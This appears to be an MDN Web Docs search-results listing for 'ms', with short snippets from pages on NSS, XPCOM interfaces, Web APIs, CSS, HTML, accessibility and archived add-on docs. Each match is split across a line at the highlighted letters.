... return secsuccess; } /* * generate the private key */ seckeyprivatekey * generateprivatekey(keytype keytype, pk11slotinfo *slot, int size, int publicexponent, const char *noisefilename, seckeypublickey **pubkeyp, const char *pqgfile, secupwdata *pwdata) { ck_mechanism_type mechanism; secoidtag algtag; pk11rsagenpara
ms rsapara
ms; void *para
ms; seckeyprivatekey *privkey = null; secstatus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_randomupdat...
...And 5 more matches
NSS environment variables
necessary on some platfor
ms to get correct function names when using leak reporting software.
... 3.12.5 nss_hash_alg_support string specifies agorith
ms allowed to be used in certain applications, such as in signatures on certificates and crls.
... before 3.0 moz_debug_symbols boolean (1 to enable) needed on windows to build with versions of
msvc (such as vc8 and vc9) that do not understand /pdb:none 3.11 moz_debug_flags string when moz_debug_symbols is set, you may use moz_debug_flags to specify alternative compiler flags to produce symbolic debugging information in a particular format.
...And 5 more matches
Hacking Tips
external progra
ms such as iongraph, dot, and your png viewer are search into the path, otherwise custom one can either be configured with environment variables (gdb_iongraph, gdb_dot, gdb_pngviewer) before starting gdb, or with gdb parameters (set iongraph-bin <path>, set dot-bin <path>, set pngviewer-bin <path>) within gdb.
...eak 'mozilla::dom::canvasrenderingcontext2d::drawwindow(nsglobalwindow&, double, double, double, double, nsastring_internal const&, unsigned int, mozilla::errorresult&)' cont break 'presshell::renderdocument(nsrect const&, unsigned int, unsigned int, gfxcontext*)' set print object on set $x = <your x value> set $y = <your y value> print &((cairo_image_surface_t*)athebescontext->mdt.mrawptr->
msurface).data[$y * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->
msurface).stride + $x * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->
msurface).depth / 8] watch *(char*)<address of previous command> (note: if you set a watch on the previous expression gdb will watch the expression and run out of watchpoint) rr with emacs within emacs, do m-x gud-gdb and replace the command...
... (gdb) call graph->dump() (gdb) call block->dump() (gdb) call def->dump() benchmarking without a phone if you do not have a mobile device or prefer to test on your desktop first, you will need to downgrade your computer such as it is able to run progra
ms as fast as-if they were running on a phone.
...And 5 more matches
Gecko object attributes
for outline ite
ms, the indentation level.
... for diagra
ms with levels, each item can have its level specified.
... applied to: listitem, option exposed in aria: aria-posinset setsize if this item is in a group, this indicates the number of ite
ms in the group.
...And 5 more matches
mozIStorageStatement
ing getparametername(in unsigned long aparamindex); unsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingpara
msarray aparameters); mozistoragebindingpara
msarray newbindingpara
msarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue); void bindstringparameter(in unsigned long aparamindex, in astring avalue); void binddoubleparameter(in unsigned long aparamindex, in double avalue); void bindint32parameter(in unsigned long apara...
... para
ms mozistoragestatementpara
ms the current list of named parameters, which may be set.
... sample code var statement = dbconn.createstatement( "select * " + "from table_name " + "where column_name like :userinput escape '/'" ); statement.para
ms.userinput = statement.escapestringforlike(someuserinput, "/"); binding functions these functions are discussed in more detail with sample code in the overview document.
...And 5 more matches
nsIDOMOfflineResourceList
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void mozadd(in do
mstring uri); boolean mozhasitem(in do
mstring uri); do
mstring mozitem(in unsigned long index); void mozremove(in do
mstring uri); void swapcache(); void update(); attributes attribute type description mozite
ms nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list.
... void mozadd( in do
mstring uri ); parameters uri the uri of the resource to add to the list.
...you should use the mozite
ms attribute instead.
...And 5 more matches
nsINavHistoryQuery
this will only work for results_as_uri since there will be no visits for these ite
ms.
... hassearchter
ms boolean read only: whether or not, text search ter
ms exists.
...the default value is "-1", and in that case all ite
ms are matched regardless of their visit count.
...And 5 more matches
nsIScriptableIO
nsiscriptableio provides a convenient api for creating files and strea
ms, as well as for reading and writing data to them.
... amode a space-delineated string of mode ter
ms controlling the manner in which the stream is accessed.
...this mode is generally used as a wrapper for other strea
ms.
...And 5 more matches
XPCOM Interface Reference
rimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentativecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingpara
msmozistoragebindingpara
msarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementpara
msmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxtt...
...pertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsidommousescrolleventnsidommoznetworkstatsnsidommoznetworkstatsdatansidommoznetworkstatsmanagernsidommoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsido
mserializernsido
msimplegestureeventnsido
mstoragensido
mstorage2nsido
mstorageeventobsoletensido
mstorageitemnsido
mstoragelistnsido
mstoragemanagernsido
mstoragewindownsidomuserdatahandlernsidomwindownsidomwindow2nsidomwindowinternalnsidomwindowutilsnsidomxpathevaluatornsidomxpathexceptionnsidomxpathexpressionnsidomxpathresultnsidomxulcontrolelementnsidomxulelementnsidomxullabeledcontrolelementnsidomxulse...
...nalprotocolservicensiexternalurlhandlerservicensiftpchannelnsiftpeventsinknsifactorynsifavicondatacallbacknsifaviconservicensifeednsifeedcontainernsifeedelementbasensifeedentrynsifeedgeneratornsifeedpersonnsifeedprocessornsifeedprogresslistenernsifeedresultnsifeedresultlistenernsifeedtextconstructnsifilensifileinputstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsifilespecnsifilestrea
msnsifileurlnsifileutilitiesnsifileviewnsifocusmanagernsiformhistory2nsiframeloadernsiframeloaderownernsiframemessagelistenernsiframemessagemanagernsiframescriptloadernsigsettingscollectionnsigsettingsservicensigeolocationprovidernsigeolocationupdatensiglobalhistorynsiglobalhistory2nsiglobalhistory3nsihtmleditornsihttpheaderlistenernsihapticfeedbacknsihttpactivitydistributornsihttpactivityobserverns...
...And 5 more matches
Xptcall Porting Status
he is hoping that others will help test the changes using these two compilers on the various platfor
ms where this same code is used.
... <font color="white">done</font> solaris sparc v9 (64bit) stuart parmenter <pavlov@netscape.com>, chris seawood <cls@seawood.org> unix this is checked in and (pavlov clai
ms!) working.
... <font color="white">done</font> openv
ms alpha colin r.
...And 5 more matches
Storage Inspector - Firefox Developer Tools
indexeddb — all indexeddb databases created by the page or any iframes inside the page, their object stores and the ite
ms stored in these object stores.
... local storage — all local storage ite
ms created by the page or any iframes inside the page.
... session storage — all session storage ite
ms created by the page or any iframes inside the page.
...And 5 more matches
Console messages - Firefox Developer Tools
the context menu for network messages includes a few extra ite
ms in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again.
... pages containing login for
ms must be served over https, not http.
... for
ms containing password fields must submit them over https, not http.
...And 5 more matches
Introduction to the DOM - Web APIs
it represents the page so that progra
ms can change the document structure, style, and content.
...many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different do
ms.
... otherwise empty html page const heading = document.createelement("h1"); const heading_text = document.createtextnode("big head!"); heading.appendchild(heading_text); document.body.appendchild(heading); } </script> </head> <body> </body> </html> fundamental data types this reference tries to describe the various objects and types in simple ter
ms.
...And 5 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
the presence of whitespace in the dom can cause layout proble
ms and make manipulation of the content tree difficult in unexpected ways, depending on where it is located.
... this article explores when difficulties can occur, and looks at what can be done to mitigate resulting proble
ms.
... take the following document, for example: <!doctype html> <html> <head> <title>my document</title> </head> <body> <h1>header</h1> <p> paragraph </p> </body> </html> the dom tree for this looks like so: conserving whitespace characters in the dom is useful in many ways, but there are certain places where this makes certain layouts more difficult to implement, and causes proble
ms for developers who want to iterate through nodes in the dom.
...And 5 more matches
Element - Web APIs
element.classname is a do
mstring representing the class of the element.
... element.computedname read only returns a do
mstring containing the label exposed to accessibility.
... element.computedrole read only returns a do
mstring containing the aria role that has been applied to a particular element.
...And 5 more matches
FileSystemEntrySync - Web APIs
method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional do
mstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional do
mstring newname) raises (fileexception); do
mstring tourl(); void remove() raises (fileexception); directoryentrysync getparent(); attributes attribute type description filesystem readonly filesyste
msync the file sys...
... fullpath readonly do
mstring the full absolute path from the root to the entry.
... name readonly do
mstring the name of the entry, excluding the path leading to it.
...And 5 more matches
FontFace - Web APIs
fontface.display a csso
mstring that determines how a font face is displayed based on whether and when it is downloaded and ready to use.
... fontface.family a csso
mstring that retrieves or sets the family of the font.
... fontface.featuresettings a csso
mstring that retrieves or sets infrequently used font features that are not available from a font's variant properties.
...And 5 more matches
Guide to the Fullscreen API - Web APIs
function togglefullscreen() { if (!document.fullscreenelement) { document.documentelement.requestfullscreen(); } else { if (document.exitfullscreen) { document.exitfullscreen(); } } } this starts by looking at the value of the fullscreenelement attribute on the document (checking it prefixed with both moz,
ms, or webkit).
...here is the table summarizing the prefixes and name differences between them: standard webkit (safari) / blink (chrome & opera) / edge gecko (firefox) internet explorer document.fullscreen webkitisfullscreen mozfullscreen - document.fullscreenenabled webkitfullscreenenabled mozfullscreenenabled
msfullscreenenabled documentorshadowroot.fullscreenelement webkitfullscreenelement mozfullscreenelement
msfullscreenelement document.onfullscreenchange onwebkitfullscreenchange onmozfullscreenchange on
msfullscreenchange document.onfullscreenerror onwebkitfullscreenerror onmozfullscreenerror on
msfullscreenerror document.exitfullscreen() ...
... webkitexitfullscreen() mozcancelfullscreen()
msexitfullscreen() element.requestfullscreen() webkitrequestfullscreen() mozrequestfullscreen()
msrequestfullscreen() specifications specification status comment fullscreen api living standard initial version.
...And 5 more matches
HTMLOutputElement - Web APIs
htmloutputelement.defaultvalue a do
mstring representing the default value of the element, initially the empty string.
... htmloutputelement.name a do
mstring reflecting the name html attribute, containing the name for the control that is submitted with form data.
... htmloutputelement.typeread only the do
mstring "output".
...And 5 more matches
HTMLScriptElement - Web APIs
htmlscriptelement.type is a do
mstring representing the mime type of the script.
... htmlscriptelement.src is a do
mstring representing the url of an external script.
... htmlscriptelement.event is a do
mstring; an obsolete way of registering event handlers on elements in an html document.
...And 5 more matches
HTMLSelectElement - Web APIs
htmlselectelement.multiple a boolean reflecting the multiple html attribute, which indicates whether multiple ite
ms can be selected.
... htmlselectelement.name a do
mstring reflecting the name html attribute, containing the name of this control used by servers and dom search functions.
... htmlselectelement.size a long reflecting the size html attribute, which contains the number of visible ite
ms in the control.
...And 5 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
as time passed, of course, we know that computers have evolved into powerful multi-core syste
ms, and javascript has become one of the most prolifically-used languages in the computing world.
... a special note about recursive functions—that is, functions which call the
mselves, possibly over multiple levels of depth or recursion: each recursive call to the function creates a new execution context.
...it then runs any pending javascript tasks, then any pending microtasks, then perfor
ms any needed rendering and painting before looping again to check for pending tasks.
...And 5 more matches
Node - Web APIs
in some cases, a particular feature of the base node interface may not apply to one of its child interfaces; in that case, the inheriting node may return null or throw an exception, depending on circu
mstances.
... node.baseuriread only returns a do
mstring representing the base url of the document containing the node.
... node.nodenameread only returns a do
mstring containing the name of the node.
...And 5 more matches
SVGPathSegList - Web APIs
thseg insertitembefore(in svgpathseg newitem, in unsigned long index) svgpathseg replaceitem(in svgpathseg newitem, in unsigned long index) svgpathseg removeitem(in unsigned long index) svgpathseg appenditem(in svgpathseg newitem) properties readonly unsigned long numberofite
ms normative document svg 1.1 (2nd edition) properties name type description numberofite
msread only unsigned long the number of ite
ms in the list.
... methods clear() void clears all existing current ite
ms from the list, with the result being an empty list.
... initialize(in svgpathseg newitem) svgpathseg clears all existing current ite
ms from the list and re-initializes the list to hold the single item specified by newitem.
...And 5 more matches
SVGPointList - Web APIs
ned long index) svgpoint insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint replaceitem(in svgpoint newitem, in unsigned long index) svgpoint removeitem(in unsigned long index) svgpoint appenditem(in svgpoint newitem) properties readonly unsigned long numberofite
ms normative document svg 1.1 (2nd edition) properties name type description numberofite
ms unsigned long the number of ite
ms in the list.
... methods name & arguments return description clear() void clears all existing current ite
ms from the list, with the result being an empty list.
... initialize(in svgpoint newitem) svgpoint clears all existing current ite
ms from the list and re-initializes the list to hold the single item specified by the parameter.
...And 5 more matches
SubtleCrypto.deriveKey() - Web APIs
it's worth noting that the three key derivation algorith
ms you can use have quite different characteristics and are appropriate in quite different situations.
... see supported algorith
ms for some more detail on this.
... to use ecdh, pass an ecdhkeyderivepara
ms object.
...And 5 more matches
Web Audio API - Web APIs
these could be either computed mathematically (such as oscillatornode), or they can be recordings from sound/video files (like audiobuffersourcenode and mediaelementaudiosourcenode) and audio strea
ms (mediastreamaudiosourcenode).
... in fact, sound files are just recordings of sound intensities the
mselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave.
... outputs of these nodes could be linked to inputs of others, which mix or modify these strea
ms of sound samples into different strea
ms.
...And 5 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
this effectively limits delay to 2147483647
ms, since it's specified as a signed integer in the idl.
... = 0; nchild < this.parts.length; nchild++) { onode.removechild(this.parts[nchild]); this.parts[nchild] = new sheet(this.parts[nchild]); } } var nintervid, ocurrent = null, btyping = false, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aite
ms = document.queryselectorall(sselector); if (aite
ms.length === 0) { return; } for (var nitem = 0; nitem < aite
ms.length; nitem++) { asheets.push(new sheet(aite
ms[nitem])); /* uncomment the following line if you have previously hidden your elements via css: */ // aite
ms[nitem].style.visibility = "visible"; } bstart = false; } nintervid = se...
...duis malesuada accu
msan dui, at fringilla mauris bibstartum quis.
...And 5 more matches
Using XMLHttpRequest - Web APIs
submitting for
ms and uploading files instances of xmlhttprequest can be used to submit for
ms in two ways: using only ajax using the formdata api using the formdata api is the simplest and fastest, but has the disadvantage that data collected can not be stringified.
... using nothing but xmlhttprequest submitting for
ms without the formdata api does not require other apis for most use cases.
...therefore, how to send for
ms in pure ajax is too complex to be explained here in detail.
...And 5 more matches
ARIA: List role - Accessibility
the aria list role can be used to identify a list of ite
ms.
...a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group having one or more listite
ms as children.
... there are no hard and fast rules about which elements you should use to markup the list and list ite
ms, but you should make sure that the list ite
ms make sense in the context of a list, e.g.
...And 5 more matches
ARIA: Listitem role - Accessibility
the aria listitem role can be used to identify an item inside a list of ite
ms.
... there are no hard and fast rules about which elements you should use to markup the list and list ite
ms, but you should make sure that the list ite
ms make sense in the context of a list, e.g.
... warning: if at all possible in your work, you should use the appropriate semantic html elements to mark up a list and its listite
ms — <ul>/<ol> and <li>.
...And 5 more matches
Understandable - Accessibility
this article provides practical advice on how to write your web content so that it confor
ms to the success criteria outlined in the understandable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... you don't need to set a different language for words or phrases that are the same regardless of language (for example proper names, technical ter
ms that aren't part of a specific language).
... 3.1.3 unusual words (aaa) where technical ter
ms, jargon, or idio
ms/slang are used, definitions should be provided for such phrases/words.
...And 5 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
in previous guides we’ve looked at placing ite
ms by the lines created by defining grid tracks and also how to place ite
ms using named template areas.
...named template areas create named lines that you can use to place your ite
ms.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(12, [col-start] 1fr); } once you have created the grid you can place ite
ms onto it.
...And 5 more matches
Consistent list indentation - CSS: Cascading Style Sheets
one of the most common style changes made to lists is a change in the indentation distance—that is, how far the list ite
ms are pushed over to the right.
...for example, if you declare that lists have no left margin, they move over in internet explorer, but sit stubbornly in place in gecko-based browsers.this article will help you understand the proble
ms that can occur and how to avoid them.
...if we add two more list ite
ms, we get a result like that shown in figure 2.
...And 5 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
> <div class="css-property"> <span class="property">background:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url("images/picker_mask.png"); backgrou...
...nd: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -
ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -
ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0...
...%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -
ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -
ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background-color: #f00; } .ui-co...
...And 5 more matches
font-variant-numeric - CSS: Cascading Style Sheets
syntax font-variant-numeric: normal; font-variant-numeric: ordinal; font-variant-numeric: slashed-zero; font-variant-numeric: lining-nu
ms; /* <numeric-figure-values> */ font-variant-numeric: oldstyle-nu
ms; /* <numeric-figure-values> */ font-variant-numeric: proportional-nu
ms; /* <numeric-spacing-values> */ font-variant-numeric: tabular-nu
ms; /* <numeric-spacing-values> */ font-variant-numeric: diagonal-fractions; /* <numeric-fraction-values> */ font-variant-numeric: stacked-fractions; /* <numeric-fraction-...
...values> */ font-variant-numeric: oldstyle-nu
ms stacked-fractions; /* global values */ font-variant-numeric: inherit; font-variant-numeric: initial; font-variant-numeric: unset; this property can take one of two for
ms: either the keyword value normal or one or more of the other values listed below, space-separated, in any order.
...two values are possible: lining-nu
ms activating the set of figures where numbers are all lying on the baseline.
...And 5 more matches
grid-auto-flow - CSS: Cascading Style Sheets
the grid-auto-flow css property controls how the auto-placement algorithm works, specifying exactly how auto-placed ite
ms get flowed into the grid.
... syntax /* keyword values */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset; this property may take one of two for
ms: a single keyword: one of row, column, or dense.
... values row ite
ms are placed by filling each row in turn, adding new rows as necessary.
...And 5 more matches
Developer guides
audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live strea
ms.
... this article is intended as a starting point for exploring the various delivery mechanis
ms of web-based media and compatibility with popular browsers.
... audio and video manipulation the beauty of the web is that you can combine technologies to create new for
ms.
...And 5 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
instead, let's look at things in ter
ms of the kinds of things that are drawn in the elements, such as text and borders and so forth.
... our two colored boxes share a number of properties in common, so next we establish a class, .box, that defines those shared properties: .box { width: 290px; height: 100px; margin: 0; padding: 4px 6px; font: 28px "marker felt", "zapfino", cursive; display: flex; justify-content: center; align-ite
ms: center; } in brief, .box establishes the size of each box, as well as the configuration of the font used within.
...we enable flex mode using display: flex, and set both justify-content and align-ite
ms to center.
...And 5 more matches
<input type="search"> - HTML: Hypertext Markup Language
value a do
mstring representing the value contained in the search field.
... value the value attribute contains a do
mstring representing the value contained in the search field.
... searchter
ms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string ("").
...And 5 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
the html <input> element is used to create interactive controls for web-based for
ms in order to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the device and user agent.
...a typical implementation of autocomplete simply recalls previous values entered in the same input field, but more complex for
ms of autocomplete can exist.
...the step scale factor is 1000 (which converts the seconds to milliseconds, as used in the other algorith
ms).
...And 5 more matches
<ol>: The Ordered List element - HTML: Hypertext Markup Language
the html <ol> element represents an ordered list of ite
ms — typically rendered as a numbered list.
... reversed this boolean attribute specifies that the list’s ite
ms are in reverse order.
... ite
ms will be numbered from high to low.
...And 5 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
autocomplete a do
mstring providing a hint for a user agent's autocomplete feature.
... warning: the mechanism for selecting multiple non-contiguous ite
ms via the keyboard described below currently only see
ms to work in firefox.
... keyboard users can select multiple contiguous ite
ms by: focusing on the <select> element (e.g.
...And 5 more matches
Indexed collections - JavaScript
the bracket syntax is called an "array literal" or "array initializer." it's shorter than other for
ms of array creation, and so is generally preferred.
... to create an array with non-zero length, but without any ite
ms, either of the following can be used: // this...
... writing a value that is shorter than the number of stored ite
ms truncates the array.
...And 5 more matches
Array.from() - JavaScript
1 : -1) * math.floor(math.abs(number)); }; var maxsafeinteger = math.pow(2, 53) - 1; var tolength = function (value) { var len = tointeger(value); return math.min(math.max(len, 0), maxsafeinteger); }; var setgetitemhandler = function setgetitemhandler(isiterator, ite
ms) { var iterator = isiterator && ite
ms[symboliterator](); return function getitem(k) { return isiterator ?
... iterator.next() : ite
ms[k]; }; }; var getarray = function getarray( t, a, len, getitem, isiterator, mapfn ) { // 16.
...let ite
ms be toobject(arraylikeoriterator).
...And 5 more matches
Image file type and format guide - Web media technologies
theoretically, several compression algorith
ms are supported, and the image data can also be stored in jpeg or png format within the bmp file.
... compression several compression methods are supported, including lossy or lossless algorith
ms licensing covered by the microsoft open specification promise; while microsoft holds patents against bmp, they have published a promise not to assert its patent rights as long as specific conditions are met.
...as of july 7, 2004, all relevant patents have expired and the gif format may be used freely ico (microsoft windows icon) the ico (microsoft windows icon) file format was designed by microsoft for desktop icons of windows syste
ms.
...And 5 more matches
Codecs used by WebRTC - Web media technologies
cb is a subset of the main profile, and is specifically designed for low-complexity, low-delay applications such as mobile video and videoconferencing, as well as for platfor
ms with lower performing video processing capabilities.
...in order to improve reliability of webrtc media sharing across multiple platfor
ms and browsers, it's required that webrtc endpoints that support avc handle certain parameters in specific ways.
...avc implementations for webrtc are required to support the special "filler payload" and "full frame freeze" sei messages; these are used to support switching among multiple input strea
ms seamlessly.
...And 5 more matches
Recommended Web Performance Timings: How long is too long? - Web Performance
there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50
ms), animating (16.7s) and responding to user input (50 to 200
ms).
...for this reason, script execution should be limited in scope, divided into chunks of code that can be executed in 50
ms or less.
... animation goal for scrolling and other animations to look smooth and feel responsive, the content repaints should occur at 60 frames per second (60fps), which is once every 16.7
ms.
...And 5 more matches
Progressive web app structure - Progressive web apps (PWAs)
it works great across browsers, but it suffers in ter
ms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server.
...there is also a new approach involving the strea
ms api, which we'll mention briefly.
... different concept: strea
ms an entirely different approach to server- or client-side rendering can be achieved with the strea
ms api.
...And 5 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
e
mscripten provides most of these features, although there are some limitations.
... $ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "e
mscripten.h" #include "src/webp/encode.h" e
mscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function.
...e
mscripten provides emconfigure and emmake to wrap these commands and inject the appropriate parameters.
...And 5 more matches
passwords - Archive of obsolete content
for example, if the realm for a credential is "user registration", then its "site" field will look something like: addon:jid0-01mbbfyu0zaxcfub1jykoostkic (user registration) html form credential if a web service uses html for
ms to authenticate its users, then the corresponding credential is an html form credential.
... for
msubmiturl the value of the form's "action" attribute.
...login with the following html: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> the corresponding values for the credential (excluding username and password) should be: url: "http://www.example.com" for
msubmiturl: "http://login.example.com" usernamefield: "uname" passwordfield: "pword" note that for both url and for
msubmiturl, the portion of the url after the hostname is omitted.
...And 4 more matches
Localization - Archive of obsolete content
plurals the l10n module supports plural for
ms.
...for example, english has two for
ms: a singular form for "one", and a plural form for "everything else, including zero": one tomato no tomatoes two tomatoes but russian has different for
ms for numbers ending in 1 (except 11), numbers ending in 2-4 (except 12-14) and other numbers: один помидор // one tomato два помидора // two tomatoes пять помидоров // five tomatoes the sdk uses the unicode cldr data to describe the different plural for
ms used by different languages.
... unicode cldr plural for
ms the unicode cldr project defines a scheme for describing a particular language's plural rules.
...And 4 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
is to use netbeans (ide from sun microsyste
ms) and foxbeans (plugin for netbeans, by teesoft).
... content/overlay.xul xul file that will be overlaid on the firefox browser window, adding buttons, menu ite
ms, etc.
...under the tool menu, the session store submenu contains two ite
ms—save session and clear sessions; in between them is a list of previously saved sessions that you can restore, most recent first.
...And 4 more matches
Promises - Archive of obsolete content
this interface replaces the previous, complicated xpcom nsifile and strea
ms apis, and their related javascript helper modules.
... these older interfaces should be avoided, even in their asynchronous for
ms, due to their performance penalties and needless complexity.
... config.indexstats = processor.stats; yield os.file.writeatomic(configpath, json.stringify(config), { tmppath: configpath + "." + math.random(), encoding: "utf-8" }) timestamp = new date; }); http requests http requests should, in nearly all circu
mstances, be made via the standard xmlhttprequest api.
...And 4 more matches
CSS3 - Archive of obsolete content
css3 is the latest evolution of the cascading style sheets language and ai
ms at extending css2.1.
... allow the styling of for
ms according their content using the css :indeterminate, :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only, and :read-write pseudo-classes and the ::value, ::choices, ::repeat-item, and ::repeat-index pseudo-elements.
... compositing and blending level 1 candidate recommendation css syntax level 3 candidate recommendation clarifies how charsets are determined; minor changes in parsing and tokenization algorith
ms.
...And 4 more matches
Dehydra Function Reference - Archive of obsolete content
builtin functions the following functions are provided by dehydra and may be called by the user: print(
msg) print a string to stdout (or stderr if the compiler is piping output).
...
msg is a string to output to customize the location info printed set this._loc before calling print() include(file [, namespace]) include a javascript file into a namespace.
... require() example require({strict:true, gczeal:2}) if (require().werror) print("werror is set") warning([code,]
msg [, loc]) print a warning message using the gcc warning mechanism.
...And 4 more matches
Layout System Overview - Archive of obsolete content
in all cases, the determination of the impact is critical to avoid either the problem of not updating impacted elements, thus presenting an invalid presentation, or updating too much of the presentation and thus doing too much work, potentially causing performance proble
ms.
...conceptually, this could be used to introduce other layout syste
ms, but it might be worth noting that there was no specific facility designed into the layout system to accommodate this.
... layout deals with frames, but as long as the layout system being considered has no need to influence presentational elements from other layout syste
ms, it can be adapted using a frame-based adapter, ala xul.
...And 4 more matches
Java in Firefox Extensions - Archive of obsolete content
your extension's folder hierarchy) // you must add this utilities (classloader) jar to give your extension full privileges var extensionurl = "file:///" + extensionpath.path.replace(/\\/g,"/"); var classloaderjarpath = extensionurl + "/java/javafirefoxextensionutils.jar"; // add the paths for all the other jar files that you will be using var myjarpath = extensionurl + "/java/testjava.jar"; // see
ms you don't actually have to replace the backslashes as they work as well var urlarray = []; // build a regular javascript array (liveconnect will auto-convert to a java array) urlarray[0] = new java.net.url(myjarpath); urlarray[1] = new java.net.url(classloaderjarpath); var cl = java.net.urlclassloader.newinstance(urlarray); //set security policies using the above policyadd() function polic...
